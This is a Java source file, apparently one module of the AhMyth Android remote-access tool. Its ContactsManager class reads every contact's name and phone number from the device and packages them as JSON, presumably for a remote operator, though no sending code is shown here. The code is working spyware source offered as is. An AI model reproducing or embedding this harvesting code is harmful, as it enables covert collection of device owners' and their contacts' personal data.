content: package ahmyth.mine.king.ahmyth;
  
  import android.database.Cursor;
  import android.provider.CallLog;
  import android.provider.ContactsContract;
  import android.util.Log;
  
  import org.json.JSONArray;
  import org.json.JSONException;
  import org.json.JSONObject;
  
  /**
   * Created by AhMyth on 11/11/16.
   */
  
  public class ContactsManager {
  
      public static JSONObject getContacts(){
  
          try {
              JSONObject contacts = new JSONObject();
              JSONArray list = new JSONArray();
              Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                      new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null,  ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC");
  
  
              while (cur.moveToNext()) {
                  JSONObject contact = new JSONObject();
                  String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));// for  number
                  String num = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));// for name
  
                  contact.put("phoneNo", num);
                  contact.put("name", name);
                  list.put(contact);
  
              }
              contacts.put("contactsList", list);
              return contacts;
          } catch (JSONException e) {
              e.printStackTrace();
          }
          return null;
  
      }
  
  }
  